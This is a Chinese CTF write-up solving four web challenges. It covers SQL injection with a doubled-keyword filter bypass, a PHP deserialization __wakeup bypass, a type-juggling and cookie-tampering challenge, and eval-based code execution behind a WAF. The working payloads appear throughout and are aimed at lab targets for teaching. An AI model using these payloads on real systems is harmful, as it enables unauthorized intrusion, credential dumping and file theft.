[极客大挑战 2019]BabySQL、[极客大挑战 2019]PHP、[极客大挑战 2019]BuyFlag、[RoarCTF 2019]Easy Calc

[ 极客大挑战 2019]BabySQL

打开题目

根据提示是SQL注入,判断闭合

账号:1',密码随便填

经过尝试是单引号闭合

判断字段数

sql 复制代码
?username=111&password=1' order by 3--+

发现被过滤了,尝试双写绕过

sql 复制代码
?username=111&password=1' oorrder bbyy 3--+

尝试发现是3个字段,查看哪个字段有回显

sql 复制代码
?username=111&password=1' union select 1,2,3--+

发现union和select也被过滤了,双写绕过

sql 复制代码
?username=111&password=1' uunionnion sselectelect 1,2,3--+

看到回显位是3.

利用回显,爆库

sql 复制代码
?username=111&password=1' uunionnion sselectelect 1,2,database() --+

爆表名

from也被过滤了;因为or被过滤了information_schema.tables需要改为infoorrmation_schema.tables绕过or,这是个小细节;where也需要双写绕过

sql 复制代码
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+

发现两张表b4bsql,geekuser。

爆b4bsql表的字段

sql 复制代码
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+

爆geekuser表的字段

sql 复制代码
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='geekuser')--+

两张表好像是一样的字段

查看b4bsql表的内容

sql 复制代码
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

发现flag:flag{089a95d8-8b51-4cd6-a43c-b2eae35d3761}

好奇看看geekuser表的内容

sql 复制代码
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom geekuser)--+

好吧不是flag。

[ 极客大挑战 2019]PHP

打开题目

想查看页面源代码,但是右键没有这个选项。可以ctrl+u或者在url前面加view-source:查看

发现没有有用的信息,提示网站备份,一般默认是www.zip

访问一下,下载了www.zip

发现flag.php

发现flag:Syc{dog_dog_dog_dog},好吧是错的,没那么简单

index文件

class.php文件:

php 复制代码
<?php

include 'flag.php';
error_reporting(0);

class Name{

    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){

        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

发现是php反序列化漏洞

我们最终的目的是要获得flag,根据class.php文件,我们需要对象的成员变量username='admin',password=100

编写代码

php 复制代码
<?php
class Name {
    private $username = 'admin';
    private $password = 100;
}

$a = new Name;
print(serialize($a));
?>

运行结果:

php 复制代码
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

要绕过__wakeup只要让说明的参数个数大于实际的参数个数就行了,把2改成3,加上变量名

php 复制代码
?select=O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

发现,复制过来后,有几个框框不见了,我们需要自己加上。

php 复制代码
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

发现flag:flag{9be68190-85af-4e89-bc7e-26a2a1d9dfcf}

[ 极客大挑战 2019]BuyFlag

打卡题目

浏览了一下,没有啥有用的信息,发现一个网页,点进去瞧瞧

php 复制代码
Flag need your 100000000 money



If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!



Only Cuit's students can buy the FLAG

大概意思:

Flag 需要你的一亿资金

如果你想购买 FLAG:

你必须是 CUIT 的学生!!!

你必须回答正确的密码!!!

只有CUIT的学生可以购买FLAG

接着查看网易源代码,发现以下代码:

php 复制代码
<?php
// 注释:提交金额和密码相关逻辑
/* ~~~post money and password~~~ */

// 判断是否通过 POST 方式提交了 password 参数
if (isset($_POST['password'])) {
    // 获取提交的密码值
    $password = $_POST['password'];
    
    // 第一层判断:密码不能是纯数字(is_numeric 检测是否为数字/数字字符串)
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }
    // 第二层判断:密码弱等于 404 时,提示密码正确
    elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}
?>

需要POST传参money和password:

php 复制代码
password=404a&money=100000000

使用bp进行抓包

发送到Repeater模块

仅学生用户可以购买FLAG

注意Cookie:user=0

user是用户,0通常代表flase(错误),1通常代表true(正确)

咱们将user修改为1使后台程序可以正常运行

提示数字太长了,使用科学计数法绕过

php 复制代码
password=404a&money=1e9

得到flag:flag{c3a94e74-7167-4d40-88b0-005dced57090}

[RoarCTF 2019]Easy Calc

打开题目

是个计算器,查看一下源代码

他说他已经设置了WAF来确保安全

html 复制代码
// 给 ID 为 calc 的元素(应该是表单)绑定 submit(提交)事件

$('#calc').submit(function(){
    // 发起 AJAX 请求
    $.ajax({
        // 请求的后端地址是 calc.php,并且把 ID 为 content 的输入框的值作为 num 参数传递(encodeURIComponent 避免特殊字符乱码)

        url:"calc.php?num="+encodeURIComponent($("#content").val()),

        // 请求方式为 GET
        type:'GET',

        // 请求成功后的回调函数:后端返回的数据会传给 data 参数
        success:function(data){

            // 把计算结果渲染到 ID 为 result 的元素里,用成功提示框的样式展示
            $("#result").html(`<div class="alert alert-success">
        <strong>答案:</strong>${data}

        </div>`);
        },

        // 请求失败后的回调函数(比如后端报错、网络问题)
        error:function(){
            // 弹出提示框告知用户计算失败
            alert("这啥?算不来!");
        }
    })

    // 阻止表单的默认提交行为(避免页面刷新/跳转)
    return false;

})

calc.php文件,点开看看

php 复制代码
<?php

// 关闭所有 PHP 错误报告,隐藏报错信息(黑客常用手段,避免暴露代码逻辑)
error_reporting(0);

// 判断 GET 请求中是否存在 "num" 参数
if(!isset($_GET['num'])){
    // 如果没有 "num" 参数,展示当前文件的源代码(方便审计/做题时看代码)
    show_source(__FILE__);
}else{
    // 如果存在 "num" 参数,获取参数值并赋值给变量 $str
    $str = $_GET['num'];

    // 定义黑名单数组:包含要过滤的字符(空格、制表符、回车、换行、各类引号、特殊符号等)
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];

    // 遍历黑名单中的每个字符,检查用户输入是否包含
    foreach ($blacklist as $blackitem) {

            // 使用正则匹配(m 修饰符表示多行匹配)检查 $str 中是否包含黑名单字符
            if (preg_match('/' . $blackitem . '/m', $str)) {

                    // 匹配到黑名单字符则终止脚本并输出提示
                    die("what are you want to do?");
            }
    }

    // 核心漏洞点:将过滤后的用户输入直接拼接到代码中执行
    // eval 函数会把字符串当作 PHP 代码执行,这里等价于 "echo 用户输入的内容;"
    eval('echo '.$str.';');

}

?>

这段前端代码的核心问题在于:它将用户输入的内容($("#content").val())直接拼接到calc.php的GET参数num中传递给后端。如果后端的calc.php没有对num参数做严格过滤,而是直接将参数内容作为代码执行(比如PHP中使用eval()、system()等函数处理num),就会产生远程代码执行漏洞。

核心漏洞:eval('echo'.str.';');------用户输入的str会被当作PHP代码执行,且仅过滤了上述字符,未限制PHP执行命令的函数(如system、exec等)。

首先需要探测flag文件名,通常使用scandir()结合var_dump()。

PHP 在解析参数时,会将 ? num=xxx(注意前面的空格)解析为 $_GET['num'],但WAF规则可能只匹配精确的 num=。所以参数前要空格

php 复制代码
/calc.php? num=var_dump(scandir(chr(47)))

发现一个类似flag的目录f1agg

由于单双引号都被过滤,不能直接写字符串使用 chr() 函数结合 ASCII 码构造字符串。

f1agg的ASCII序列为47, 102, 49, 97, 103, 103。读取flag:

php 复制代码
/calc.php? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

获得flag:flag{b5d16c4f-c467-4953-863e-657479d8a725} 43

相关推荐
上海合宙LuatOS21 分钟前
LuatOS框架的使用(2)
java·服务器·开发语言·前端·数据库·嵌入式硬件·php
云游云记25 分钟前
php Composer 使用全攻略
开发语言·php·composer
虎头金猫1 小时前
内网导航站 “出圈”!用 cpolar 解锁 Dashy 远程访问新玩法
java·c++·python·程序人生·职场和发展·php·程序员创富
venus602 小时前
利用网站的漏洞解锁OJ题目
网络安全·漏洞利用·web抓包分析
源码宝3 小时前
前后端分离架构:不良事件管理系统源码(Vue2+Element UI+Laravel 8)
后端·php·源码·二次开发·程序·不良事件上报·医院不良事件管理系统
上海合宙LuatOS3 小时前
LuatOS socket基础知识和应用开发
开发语言·人工智能·单片机·嵌入式硬件·物联网·开源·php
小李独爱秋3 小时前
计算机网络经典问题透视:固定接入、移动接入、便携接入和游牧接入的主要特点是什么?
网络协议·计算机网络·网络安全·信息与通信·信号处理
CS创新实验室3 小时前
《计算机网络》深入学:软件定义网络SDN
网络·计算机网络·php
JSON_L3 小时前
PHP项目打包为桌面应用
开发语言·php·桌面应用
王大傻09284 小时前
sqlmap的简要介绍
sql·网络安全